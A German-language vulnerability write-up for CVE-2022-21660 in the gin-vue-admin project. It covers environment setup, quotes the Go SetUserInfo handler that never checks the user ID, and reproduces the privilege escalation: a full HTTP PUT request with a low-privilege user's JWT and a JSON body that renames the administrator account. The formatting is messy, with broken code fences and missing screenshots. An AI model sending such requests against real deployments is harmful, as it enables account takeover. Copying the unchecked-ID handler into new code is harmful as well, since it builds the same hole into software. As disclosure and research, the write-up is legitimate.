
CVE-2022-21660
Herzlich willkommen an alle großen Meister, diesem Projekt einen Stern zu geben.```http https://github.com/flipped-aurora/gin-vue-admin/

Nachdem der Artikel fertig geschrieben war, war es etwas umständlich, eine CVE zu beantragen, aber es hat letztendlich geklappt. Die Mitarbeiter von GitHub reagierten schnell.
> ps: Bevor die CVE beantragt wurde, wurde bereits CNVD eingereicht.

### 2. Aufbau der Umgebung
Gemäß der offiziellen Anleitung```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Wechseln Sie anschließend in das server-Verzeichnis.```bash go generate
```bash
go build -o server main.go
Dann einfach den Server starten

Dann ist WEB dran. Gehe in das web-Verzeichnis und gib ein:```bash cnpm install || npm install
Warten Sie dann einfach

Nach der Installation wird automatisch die Webseite geöffnet


Dann initialisieren und die Datenbankinformationen einrichten

Nach der Konfiguration klicken Sie auf Initialisieren und melden Sie sich an

### 3. Schwachstellen-Reproduktion
### SetUserInfo: Vertikale Privilegieneskalation
##### 1. Schnittstelle SetUserInfo: Unberechtigtes Festlegen von Benutzerprofilen
Wir gehen direkt zur Benutzerverwaltungsseite und fügen eine neue Benutzerrolle mit niedrigen Berechtigungen hinzu

Man sieht, dass oben keine Administratorberechtigungen vergeben wurden. Als nächstes erstellen wir ein neues Konto und weisen es dieser Rollengruppe zu


Die Schwachstelle befindet sich in Zeile 273 von https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Hier gibt es keine Validierung der übergebenen ID; die ID repräsentiert den Benutzer. Wenn man eine bestimmte ID direkt übergibt, kann man die persönlichen Informationen des entsprechenden Benutzers ändern.

Zuerst testen wir mit dem Admin-X-Token, den Namen des Benutzers mit ID 1 in test1 zu ändern. Anschließend können wir im Backend sehen, dass die Admin-ID bereits in test1 geändert wurde.

Als Nächstes ersetzen wir das Token des neu erstellten Kontos UzJu_HxSecTeam und ändern den Admin-Benutzernamen in test2.
Zuerst rufen wir die persönlichen Informationen des Kontos UzJu_HxSecTeam auf, gehen zu Persönliche Informationen > Passwort ändern, ändern dort beliebig das Passwort und erhalten das Token des Kontos.

Dieses Token gehört der Rolle mit niedrigen Berechtigungen. Normalerweise kann ein Benutzer mit niedrigen Berechtigungen keine Administratorinformationen ändern.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Wir ersetzen das Token und konstruieren die folgenden JSON-Daten```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Wir ersetzen das Token in der setUserinfo-Schnittstelle.```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
Dann wird uns angezeigt, dass die Einstellung erfolgreich war.